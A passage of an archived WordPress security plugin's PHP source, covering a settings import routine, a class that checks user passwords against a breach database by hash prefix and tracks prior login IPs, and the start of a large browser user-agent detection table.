is_array($import['scanSched'])) { wfConfig::set_ser('scanSched', $import['scanSched']); wfScanner::shared()->scheduleScans(); $totalSet++; } //Table-based Options if (isset($import['blocks']) && is_array($import['blocks'])) { wfBlock::importBlocks($import['blocks']); $totalSet += count($import['blocks']); } return array( 'ok' => 1, 'totalSet' => $totalSet, ); } else if ($res['err']) { return array('err' => sprintf(/* translators: Error message. */ __("An error occurred: %s", 'wordfence'), $res['err'])); } else { throw new Exception(sprintf(/* translators: Error message. */ __("Invalid response: %s", 'wordfence'), var_export($res, true))); } } catch (Exception $e) { return array('err' => sprintf(/* translators: Error message. */ __("An error occurred: %s", 'wordfence'), $e->getMessage())); } } } wfCredentialsController.php000064400000012244147206764270012135 0ustar00exists()) { return true; } } } } return false; } public static function hasNew2FARecords() { if (version_compare(phpversion(), '5.3', '>=') && class_exists('\WordfenceLS\Controller_DB')) { global $wpdb; $table = WFLSPHP52Compatability::secrets_table(); return !!intval($wpdb->get_var("SELECT COUNT(*) FROM `{$table}`")); } return false; } /** * Queries the API and returns whether or not the password exists in the breach database. * * @param string $login * @param string $password * @return bool */ public static function isLeakedPassword($login, $password) { $sha1 = strtoupper(hash('sha1', $password)); $prefix = substr($sha1, 0, 5); $ssl_verify = (bool) wfConfig::get('ssl_verify'); $args = array( 'timeout' => 5, 'user-agent' => "Wordfence.com UA " . (defined('WORDFENCE_VERSION') ? WORDFENCE_VERSION : '[Unknown version]'), 'sslverify' => $ssl_verify, 'headers' => array('Referer' => false), ); if (!$ssl_verify) { // Some versions of cURL will complain that SSL verification is disabled but the CA bundle was supplied. $args['sslcertificates'] = false; } $response = wp_remote_get(sprintf(WORDFENCE_BREACH_URL_BASE_SEC . "%s.txt", $prefix), $args); if (!is_wp_error($response)) { $data = wp_remote_retrieve_body($response); $lines = explode("\n", $data); foreach ($lines as $l) { $components = explode(":", $l); $teshSHA1 = $prefix . strtoupper($components[0]); if (hash_equals($sha1, $teshSHA1)) { return true; } } } return false; } /** * Returns the transient key for the given user. * * @param WP_User $user * @return string */ protected static function _cachedCredentialStatusKey($user) { $key = 'wfcredentialstatus_' . $user->ID; return $key; } /** * Returns the cached credential status for the given user: self::UNCACHED, self::NOT_LEAKED, or self::LEAKED. * * @param WP_User $user * @return string */ public static function cachedCredentialStatus($user) { $key = self::_cachedCredentialStatusKey($user); $value = get_transient($key); if ($value === false) { return self::UNCACHED; } $status = substr($value, 0, 1); if (strlen($value) > 1) { if (!hash_equals(substr($value, 1), hash('sha256', $user->user_pass))) { //Different hash but our clear function wasn't called so treat it as uncached return self::UNCACHED; } } if ($status) { return self::LEAKED; } return self::NOT_LEAKED; } /** * Stores a cached leak value for the given user. * * @param WP_User $user * @param bool $isLeaked */ public static function setCachedCredentialStatus($user, $isLeaked) { $key = self::_cachedCredentialStatusKey($user); set_transient($key, ($isLeaked ? '1' : '0') . hash('sha256', $user->user_pass), 3600); } /** * Clears the cache for the given user. * * @param WP_User $user */ public static function clearCachedCredentialStatus($user) { $key = self::_cachedCredentialStatusKey($user); delete_transient($key); } /** * Returns whether or not we've seen a successful login from $ip for the given user. * * @param WP_User $user * @param string $ip * @return bool */ public static function hasPreviousLoginFromIP($user, $ip) { global $wpdb; $table_wfLogins = wfDB::networkTable('wfLogins'); $id = property_exists($user, 'ID') ? $user->ID : 0; if ($id == 0) { return false; } $ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip)); $result = $wpdb->get_row($wpdb->prepare("SELECT id FROM {$table_wfLogins} WHERE action = 'loginOK' AND userID = %d AND IP = {$ipHex} LIMIT 0,1", $id), ARRAY_A); if (is_array($result)) { return true; } $lastAdminLogin = wfConfig::get_ser('lastAdminLogin'); if (is_array($lastAdminLogin) && isset($lastAdminLogin['userID']) && isset($lastAdminLogin['IP'])) { if ($lastAdminLogin['userID'] == $id && wfUtils::inet_pton($lastAdminLogin['IP']) == wfUtils::inet_pton($ip)) { return true; } return false; } //Final check -- if the IP recorded at plugin activation matches, let it through. This is __only__ checked when we don't have any other record of an admin login. $activatingIP = wfConfig::get('activatingIP'); if (wfUtils::isValidIP($activatingIP)) { if (wfUtils::inet_pton($activatingIP) == wfUtils::inet_pton($ip)) { return true; } } return false; } }wfBrowscapCache.php000064400001001522147206764270010336 0ustar00'IEMobile 11.0', 3118=>'Seraphic Sraf 3.9', 3112=>'Seraphic Sraf 3.0', 3110=>'Seraphic Sraf 3.5', 3117=>'Edge 41.0 for iOS', 3114=>'Edge 42.0 for iOS', 3064=>'Edge Generic for iOS', 3096=>'Android Browser 5.0', 3175=>'Edge Generic', 3281=>'Edge 16.0', 3280=>'Edge 14.0', 3275=>'Edge 13.0', 3274=>'Edge 15.0', 3283=>'Edge 17.0', 3247=>'Coast 4.30', 3226=>'Coast 4.01', 3248=>'Coast 4.51', 3223=>'Coast 3.01', 3231=>'Coast 3.21', 3229=>'Coast 3.02', 3242=>'Coast 5.03', 3269=>'Coast 4.03', 3235=>'Coast 4.02', 3252=>'Coast 5.02', 3251=>'Coast 5.01', 3237=>'Coast 4.21', 3254=>'Coast 4.31', 3270=>'Coast 5.04', 3077=>'Android Browser 4.0', 3285=>'Coast 4.4', 3279=>'Coast 4.5', 3277=>'Coast 4.1', 3282=>'Coast 4.0', 3276=>'Coast 3.0', 3278=>'Coast 3.1', 3293=>'Coast', 3121=>'Edge Mobile 15.0', 3122=>'Edge Mobile 17.0', 3124=>'Edge Mobile 13.0', 3127=>'Edge Mobile 14.0', 3126=>'Edge Mobile 16.0', 3095=>'Android Browser 5.1', 3092=>'Edge Mobile Generic', 3104=>'Mobile Safari 12.0', 3108=>'Mobile Safari 10.0', 3106=>'Mobile Safari 11.0', 3102=>'IE 11.0 for Desktop', 3115=>'Mobile Safari 7.0', 3113=>'Mobile Safari 8.0', 3116=>'Mobile Safari 6.0', 3111=>'Mobile Safari 9.0', 3078=>'Chrome 61.0 for iOS', 3088=>'Chrome 65.0 for iOS', 3085=>'Chrome 58.0 for iOS', 3080=>'Chrome 60.0 for iOS', 3098=>'Chrome 63.0 for iOS', 3089=>'Chrome 62.0 for iOS', 3101=>'Chrome 64.0 for iOS', 3079=>'Chrome 57.0 for iOS', 3076=>'Chrome 56.0 for iOS', 3081=>'Chrome 59.0 for iOS', 3094=>'Chrome 48.0 for iOS', 3091=>'Chrome 51.0 for iOS', 3090=>'Chrome 52.0 for iOS', 3074=>'Chrome 49.0 for iOS', 3097=>'Chrome 54.0 for iOS', 3082=>'Chrome 67.0 for iOS', 3072=>'Chrome 55.0 for iOS', 3083=>'Chrome 66.0 for iOS', 3070=>'Chrome 69.0 for iOS', 3086=>'Chrome 68.0 for iOS', 3069=>'Chrome 70.0 for iOS', 3100=>'Chrome 50.0 for iOS', 3071=>'Chrome 71.0 for iOS', 3084=>'Chrome 53.0 for iOS', 3123=>'Edge Mobile 12.0', 3027=>'Chrome Generic for iOS', 3033=>'Mobile Safari Generic', 3288=>'IE 8.0', 3036=>'Edge 42.0 for Android', 3031=>'Edge 41.0 for Android', 3051=>'Android WebView 62.0', 3063=>'Android WebView 45.0', 3050=>'Android WebView 70.0', 3060=>'Android WebView 69.0', 3054=>'Android WebView 65.0', 3053=>'Android WebView 64.0', 3055=>'Android WebView 61.0', 3067=>'Android WebView 43.0', 3038=>'Android WebView 66.0', 3066=>'Android WebView 44.0', 3037=>'Android WebView 67.0', 3056=>'Android WebView 68.0', 3061=>'Android WebView 46.0', 3049=>'Android WebView 71.0', 3039=>'Android WebView 53.0', 3052=>'Android WebView 63.0', 3062=>'Android WebView 54.0', 3040=>'Android WebView 55.0', 3057=>'Android WebView 58.0', 3059=>'Android WebView 60.0', 3041=>'Android WebView 56.0', 3042=>'Android WebView 57.0', 3043=>'Android WebView 52.0', 3047=>'Android WebView 49.0', 3046=>'Android WebView 48.0', 3045=>'Android WebView 47.0', 3058=>'Android WebView 59.0', 3048=>'Android WebView 50.0', 3044=>'Android WebView 51.0', 3219=>'Chrome 61.0', 3213=>'Chrome 70.0', 3205=>'Chrome 60.0', 3206=>'Chrome 65.0', 3203=>'Chrome 63.0', 3197=>'Chrome 67.0', 3222=>'Chrome 64.0', 3214=>'Chrome 68.0', 3195=>'Chrome 62.0', 3196=>'Chrome 66.0', 3216=>'Chrome 69.0', 3201=>'Chrome 52.0', 3209=>'Chrome 55.0', 3208=>'Chrome 57.0', 3198=>'Chrome 71.0', 3199=>'Chrome 54.0', 3215=>'Chrome 53.0', 3211=>'Chrome 50.0', 3212=>'Chrome 51.0', 3207=>'Chrome 58.0', 3210=>'Chrome 56.0', 3204=>'Chrome 59.0', 3130=>'Chrome Generic', 2918=>'Edge Generic for Android', 3139=>'Chromium 61.0', 3142=>'Chromium 62.0', 3140=>'Chromium 63.0', 3136=>'Chromium 64.0', 3143=>'Chromium 60.0', 3148=>'Chromium 59.0', 3146=>'Chromium 56.0', 3145=>'Chromium 57.0', 3151=>'Chromium 58.0', 3135=>'Chromium 65.0', 3134=>'Chromium 66.0', 3153=>'Chromium 45.0', 3150=>'Chromium 47.0', 3133=>'Chromium 71.0', 3147=>'Chromium 46.0', 3138=>'Chromium 70.0', 3141=>'Chromium 68.0', 3132=>'Chromium 69.0', 3152=>'Chromium 55.0', 3137=>'Chromium 67.0', 3157=>'Chromium 52.0', 3158=>'Chromium 51.0', 3154=>'Chromium 50.0', 3149=>'Chromium 48.0', 3156=>'Chromium 53.0', 3155=>'Chromium 49.0', 3159=>'Chromium 54.0', 3284=>'Edge 12.0', 3021=>'Mobile Safari UIWebView', 3008=>'Chrome 49.0 for Android', 2994=>'Chrome 52.0 for Android', 2995=>'Chrome 51.0 for Android', 2993=>'Chrome 53.0 for Android', 2996=>'Chrome 54.0 for Android', 3011=>'Chrome 55.0 for Android', 3002=>'Chrome 50.0 for Android', 3009=>'Chrome 48.0 for Android', 3004=>'Chrome 44.0 for Android', 3005=>'Chrome 43.0 for Android', 3003=>'Chrome 45.0 for Android', 3006=>'Chrome 46.0 for Android', 3007=>'Chrome 47.0 for Android', 3015=>'Chrome 56.0 for Android', 3020=>'Chrome 57.0 for Android', 2992=>'Chrome 66.0 for Android', 3016=>'Chrome 65.0 for Android', 3013=>'Chrome 67.0 for Android', 3010=>'Chrome 68.0 for Android', 2998=>'Chrome 69.0 for Android', 3014=>'Chrome 64.0 for Android', 3012=>'Chrome 63.0 for Android', 3023=>'Chrome 59.0 for Android', 3022=>'Chrome 58.0 for Android', 3019=>'Chrome 60.0 for Android', 3017=>'Chrome 61.0 for Android', 3018=>'Chrome 62.0 for Android', 3000=>'Chrome 70.0 for Android', 2997=>'Chrome 71.0 for Android', 3266=>'Opera 52.0', 3265=>'Opera 53.0', 3250=>'Opera 43.0', 3262=>'Opera 51.0', 3267=>'Opera 33.0', 3261=>'Opera 54.0', 3258=>'Opera 41.0', 3246=>'Opera 28.0', 3253=>'Opera 27.0', 3228=>'Opera 55.0', 3243=>'Opera 42.0', 3234=>'Opera 34.0', 3273=>'Opera 50.0', 3255=>'Opera 44.0', 3236=>'Opera 46.0', 3225=>'Opera 37.0', 3241=>'Opera 45.0', 3240=>'Opera 47.0', 3245=>'Opera 48.0', 3272=>'Opera 49.0', 3233=>'Opera 35.0', 3230=>'Opera 36.0', 3227=>'Opera 38.0', 3224=>'Opera 39.0', 3268=>'Opera 32.0', 3239=>'Opera 29.0', 3264=>'Opera 31.0', 3271=>'Opera 40.0', 3238=>'Opera 30.0', 3290=>'IE 7.0', 2906=>'Chrome Generic for Android', 3125=>'YOLO Browser 1.0', 3001=>'Android WebView Generic', 3087=>'Android Browser 4.1', 3075=>'Android Browser 4.2', 2913=>'Safari Generic for Darwin', 3221=>'Safari 10.2', 3202=>'Safari 10.1', 3220=>'Safari 11.0', 3218=>'Safari 11.1', 3200=>'Safari 10.0', 3217=>'Safari 12.0', 3099=>'Android Browser 4.4', 3073=>'Android Browser 4.3', 3260=>'Safari 7.0', 3131=>'Safari Generic', 3244=>'Safari 8.0', 3259=>'Safari 6.2', 3263=>'Safari 6.1', 3249=>'Safari 9.0', 3232=>'Safari 6.0', 3256=>'Safari 9.1', 3257=>'Safari 7.1', 3128=>'Headless Chrome', 3093=>'IE 10.0 for Desktop', 2991=>'Android Browser Generic', 3109=>'IE 11.0 for Tablet', 3186=>'Firefox 40.0', 3172=>'Firefox 34.0', 3177=>'Firefox 30.0', 3171=>'Firefox 37.0', 3190=>'Firefox 39.0', 3189=>'Firefox 32.0', 3164=>'Firefox 33.0', 3178=>'Firefox 57.0', 3167=>'Firefox 38.0', 3163=>'Firefox 54.0', 3183=>'Firefox 58.0', 3185=>'Firefox 36.0', 3161=>'Firefox 31.0', 3168=>'Firefox 55.0', 3191=>'Firefox 35.0', 3174=>'Firefox 50.0', 3180=>'Firefox 61.0', 3193=>'Firefox 62.0', 3173=>'Firefox 60.0', 3179=>'Firefox 49.0', 3194=>'Firefox 59.0', 3181=>'Firefox 56.0', 3187=>'Firefox 52.0', 3184=>'Firefox 53.0', 3162=>'Firefox 63.0', 3166=>'Firefox 51.0', 3165=>'Firefox 45.0', 3170=>'Firefox 44.0', 3192=>'Firefox 46.0', 3169=>'Firefox 43.0', 3160=>'Firefox 41.0', 3176=>'Firefox 42.0', 3188=>'Firefox 48.0', 3182=>'Firefox 47.0', 2904=>'Firefox Generic for Android', 3289=>'IE 9.0', 3065=>'Safari Generic Older', 3129=>'Firefox Generic', 3287=>'IE 7.0b', 2951=>'Firefox 63.0 for Android', 2941=>'Firefox 22.0 for Android', 2940=>'Firefox 21.0 for Android', 2930=>'Firefox 62.0 for Android', 2957=>'Firefox 17.0 for Android', 2939=>'Firefox 24.0 for Android', 2964=>'Firefox 32.0 for Android', 2955=>'Firefox 18.0 for Android', 2959=>'Firefox 38.0 for Android', 2942=>'Firefox 23.0 for Android', 2954=>'Firefox 36.0 for Android', 2956=>'Firefox 37.0 for Android', 2968=>'Firefox 19.0 for Android', 2932=>'Firefox 59.0 for Android', 2935=>'Firefox 50.1 for Android', 2937=>'Firefox 25.0 for Android', 2936=>'Firefox 50.0 for Android', 2925=>'Firefox 51.0 for Android', 2921=>'Firefox 53.0 for Android', 2926=>'Firefox 52.0 for Android', 2946=>'Firefox 49.0 for Android', 2948=>'Firefox 30.0 for Android', 2950=>'Firefox 29.0 for Android', 2947=>'Firefox 31.0 for Android', 2945=>'Firefox 48.0 for Android', 2922=>'Firefox 54.0 for Android', 2958=>'Firefox 39.0 for Android', 2934=>'Firefox 58.0 for Android', 2952=>'Firefox 60.0 for Android', 2931=>'Firefox 61.0 for Android', 2933=>'Firefox 57.0 for Android', 2927=>'Firefox 55.0 for Android', 2928=>'Firefox 56.0 for Android', 2938=>'Firefox 20.0 for Android', 2929=>'Firefox 12.0 for Android', 2944=>'Firefox 27.0 for Android', 2969=>'Firefox 16.0 for Android', 2967=>'Firefox 34.0 for Android', 2973=>'Firefox 42.0 for Android', 2976=>'Firefox 13.0 for Android', 2962=>'Firefox 33.0 for Android', 2943=>'Firefox 26.0 for Android', 2923=>'Firefox 11.0 for Android', 2972=>'Firefox 41.0 for Android', 2965=>'Firefox 33.1 for Android', 2978=>'Firefox 15.0 for Android', 2963=>'Firefox 46.0 for Android', 2974=>'Firefox 14.0 for Android', 2977=>'Firefox 45.0 for Android', 2975=>'Firefox 44.0 for Android', 2919=>'Firefox 47.0 for Android', 2971=>'Firefox 43.0 for Android', 2970=>'Firefox 40.0 for Android', 2924=>'Firefox 10.0 for Android', 2961=>'Firefox 35.0 for Android', 2949=>'Firefox 28.0 for Android', 2988=>'Firefox 2.0 for Android', 2982=>'Firefox 8.0 for Android', 2990=>'Firefox 9.0 for Android', 2983=>'Firefox 1.1 for Android', 2984=>'Firefox 1.0 for Android', 2987=>'Firefox 6.0 for Android', 2999=>'Firefox 7.0 for Android', 2981=>'Firefox 5.0 for Android', 2986=>'Firefox 2.3 for Android', 2985=>'Firefox 4.0 for Android', 2989=>'Firefox 2.1 for Android', 3105=>'IE 6.0 for Desktop', 3119=>'DefaultProperties', 3029=>'Safari 8.0 for Darwin', 3030=>'Safari 9.1 for Darwin', 3028=>'Safari 10.0 for Darwin', 3026=>'Safari 11.0 for Darwin', 3034=>'Safari 9.0 for Darwin', 3032=>'Safari 6.0 for Darwin', 3035=>'Safari 7.0 for Darwin' ); $patterns=array( '@^Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/(\d)\.0.*rv\:11.*IEMobile.11\.0\) like Android .*; compatible\) like iPhone OS .* Mac OS X WebKit/537\.36 \(.*khtml.*like.*gecko.*\) Chrome.*Safari.*$@'=>'a:2:{s:2:"@7";i:0;s:2:"@8";i:1;}', '@^Mozilla/5\.0 \(Linux; Linux mips\) applewebkit.* \(.*khtml.*like.*gecko.*\).*Chromium/.* Safari/.*\) SRAF/3\.(\d).* \(\+TRICKMODE; NEXUS; Nexus_AN01.*$@'=>'a:3:{s:2:"@9";i:2;s:2:"@0";i:3;s:2:"@5";i:4;}', '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/.* EdgiOS/4(\d)\..* Mobile/.* Safari/.*$@'=>'a:2:{s:2:"@1";i:5;s:2:"@2";i:6;}', '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/.* EdgiOS/.* Mobile/.* Safari/.*$@'=>7, '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC_SensationXL_Beats_X315e; .*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.0.*Safari.*$@'=>8, '@^Mozilla/5\.0 \(.*Windows.* Anonymisiert durch AlMiSoft Browser\-.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/.*$@'=>9, '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*Win64. x64.* Xbox; Xbox One\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/1(\d)\..*$@'=>'a:5:{s:2:"@6";i:10;s:2:"@4";i:11;s:2:"@3";i:12;s:2:"@5";i:14;s:2:"@7";i:15;}', '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/.* EdgiOS/4(\d)\..* Mobile/.* Safari/.*$@'=>'a:2:{s:2:"@2";i:13;s:2:"@1";i:16;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*Win64. x64.* Xbox; Xbox One\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/.*$@'=>17, '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/.* EdgiOS/.* Mobile/.* Safari/.*$@'=>18, '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC_IncredibleS_S710e; .*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.0.*Safari.*$@'=>19, '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d)(\d).* Mobile/.* Safari/.*$@'=>'a:14:{s:6:"@4|3|0";i:20;s:6:"@4|0|1";i:21;s:6:"@4|5|1";i:22;s:6:"@3|0|1";i:23;s:6:"@3|2|1";i:24;s:6:"@3|0|2";i:25;s:6:"@5|0|3";i:26;s:6:"@4|0|3";i:27;s:6:"@4|0|2";i:28;s:6:"@5|0|2";i:29;s:6:"@5|0|1";i:30;s:6:"@4|2|1";i:31;s:6:"@4|3|1";i:32;s:6:"@5|0|4";i:33;}', '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC_Flyer_P510e Build/.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/4\.0.*Safari.*$@'=>34, '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d).* Mobile/.* Safari/.*$@'=>'a:6:{s:4:"@4|4";i:35;s:4:"@4|5";i:36;s:4:"@4|1";i:37;s:4:"@4|0";i:38;s:4:"@3|0";i:39;s:4:"@3|1";i:40;}', '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC_Sensation_Z710e; .*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.0.*Safari.*$@'=>41, '@^Mozilla/5\.0 \(iPod.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d)(\d).* Mobile/.* Safari/.*$@'=>'a:14:{s:6:"@5|0|3";i:42;s:6:"@4|0|3";i:43;s:6:"@5|0|4";i:44;s:6:"@3|0|1";i:45;s:6:"@4|5|1";i:46;s:6:"@4|3|0";i:47;s:6:"@5|0|1";i:48;s:6:"@4|3|1";i:49;s:6:"@5|0|2";i:50;s:6:"@4|2|1";i:51;s:6:"@4|0|1";i:52;s:6:"@3|2|1";i:53;s:6:"@4|0|2";i:54;s:6:"@3|0|2";i:55;}', '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC_DesireHD_A9191; .*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.0.*Safari.*$@'=>56, '@^Mozilla/5\.0 \(iPod.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d).* Mobile/.* Safari/.*$@'=>'a:6:{s:4:"@4|5";i:57;s:4:"@4|1";i:58;s:4:"@4|0";i:59;s:4:"@3|0";i:60;s:4:"@3|1";i:61;s:4:"@4|4";i:62;}', '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/.* Mobile/.* Safari/.*$@'=>63, '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*Xbox; Xbox One\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/1(\d)\..*$@'=>'a:5:{s:2:"@5";i:64;s:2:"@7";i:65;s:2:"@3";i:66;s:2:"@4";i:67;s:2:"@6";i:68;}', '@^Mozilla/5\.(\d) \(Macintosh; .*Mac OS X.*; HTC_EVO3D_X515m; .*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.(\d).*Safari.*$@'=>'a:3:{s:4:"@2|2";i:69;s:4:"@0|0";i:70;s:4:"@0|1";i:72;}', '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC_Flyer_P510e; .*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.0.*Safari.*$@'=>71, '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d)(\d).* Mobile/.* Safari/.*$@'=>'a:14:{s:6:"@4|3|1";i:73;s:6:"@3|2|1";i:74;s:6:"@4|2|1";i:75;s:6:"@5|0|4";i:77;s:6:"@4|5|1";i:78;s:6:"@4|0|2";i:79;s:6:"@3|0|1";i:80;s:6:"@5|0|3";i:81;s:6:"@4|0|1";i:82;s:6:"@3|0|2";i:83;s:6:"@5|0|2";i:84;s:6:"@5|0|1";i:85;s:6:"@4|0|3";i:86;s:6:"@4|3|0";i:87;}', '@^Mozilla/5\.0 \(iPod.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/.* Mobile/.* Safari/.*$@'=>76, '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC_Flyer_P512; .*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.0.*Safari.*$@'=>88, '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d).* Mobile/.* Safari/.*$@'=>'a:6:{s:4:"@3|1";i:89;s:4:"@3|0";i:90;s:4:"@4|0";i:91;s:4:"@4|1";i:92;s:4:"@4|5";i:93;s:4:"@4|4";i:94;}', '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC_Runnymede; .*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.0.*Safari.*$@'=>95, '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC_Sensation; .*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.0.*Safari.*$@'=>96, '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*Xbox; Xbox One\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/.*$@'=>97, '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC/WildfireS/.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/4\.0.*Safari.*$@'=>98, '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC/Sensation/.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/5\.0.*Safari.*$@'=>99, '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/1(\d)\.0.*Safari/.*$@'=>'a:3:{s:2:"@2";i:100;s:2:"@0";i:101;s:2:"@1";i:102;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*Trident/8\.0; rv\:550\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/7\.0 Safari/.*$@'=>103, '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*Lumia 930\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/1(\d)\..*$@'=>'a:5:{s:2:"@4";i:104;s:2:"@6";i:105;s:2:"@7";i:106;s:2:"@5";i:107;s:2:"@3";i:109;}', '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC/DesireHD/.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/4\.0.*Safari.*$@'=>108, '@^Mozilla/5\.0 \(.*CPU iPhone OS .* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/.* Mobile/.* Safari/.*$@'=>110, '@^Mozilla/5\.0 \(iPad.*CPU.*OS.* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d)(\d).* Mobile/.* Safari/.*$@'=>'a:14:{s:6:"@3|2|1";i:111;s:6:"@3|0|2";i:112;s:6:"@5|0|4";i:114;s:6:"@5|0|3";i:115;s:6:"@4|5|1";i:117;s:6:"@5|0|2";i:118;s:6:"@4|0|2";i:119;s:6:"@3|0|1";i:120;s:6:"@4|3|1";i:121;s:6:"@4|2|1";i:122;s:6:"@4|3|0";i:123;s:6:"@4|0|1";i:124;s:6:"@4|0|3";i:126;s:6:"@5|0|1";i:127;}', '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/(\d)\.0.*Safari/.*$@'=>'a:4:{s:2:"@7";i:113;s:2:"@8";i:116;s:2:"@6";i:125;s:2:"@9";i:128;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*Trident/8\.0; rv\:550\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/7\.0 Safari/.*$@'=>'a:3:{s:2:"@4";i:129;s:2:"@1";i:130;s:2:"@3";i:131;}', '@^Mozilla/5\.0 \(Macintosh; .*Mac OS X.*; HTC/DesireS/.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Version/4\.0.*Safari.*$@'=>132, '@^Mozilla/5\.0 \(iPhone.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*CriOS/(\d)(\d)\.0.*Safari/.*$@'=>'a:24:{s:4:"@6|1";i:133;s:4:"@6|5";i:134;s:4:"@5|8";i:135;s:4:"@6|0";i:136;s:4:"@6|3";i:137;s:4:"@6|2";i:138;s:4:"@6|4";i:139;s:4:"@5|7";i:140;s:4:"@5|6";i:141;s:4:"@5|9";i:145;s:4:"@4|8";i:146;s:4:"@5|1";i:153;s:4:"@5|2";i:154;s:4:"@4|9";i:155;s:4:"@5|4";i:156;s:4:"@6|7";i:157;s:4:"@5|5";i:158;s:4:"@6|6";i:159;s:4:"@6|9";i:160;s:4:"@6|8";i:161;s:4:"@7|0";i:162;s:4:"@5|0";i:163;s:4:"@7|1";i:164;s:4:"@5|3";i:165;}', '@^Mozilla/5\.0 \(iPad.*CPU.*OS.* like Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Coast/(\d)\.(\d).* Mobile/.* Safari/.*$@'=>'a:6:{s:4:"@3|1";i:142;s:4:"@4|5";i:143;s:4:"@4|4";i:148;s:4:"@3|0";i:149;s:4:"@4|0";i:150;s:4:"@4|1";i:151;}', '@^Mozilla/5\.0 \(iPod.*CPU iPhone OS .* like Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/1(\d)\.0.*Safari/.*$@'=>'a:3:{s:2:"@1";i:144;s:2:"@0";i:147;s:2:"@2";i:152;}', '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*RM\-1010\) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/1(\d)\..*$@'=>'a:5:{s:2:"@7";i:166;s:2:"@6";i:167;s:2:"@5";i:168;s:2:"@4";i:170;s:2:"@3";i:171;}', '@^Mozilla/5\.0 \(.*Windows Phone 10\.0.*Lumia 930\) applewebkit.*\(.*khtml.*like.*gecko.*\) Chrome/.* Safari/.* Edge/12.*$@'=>169, '@^Mozilla/5\.0 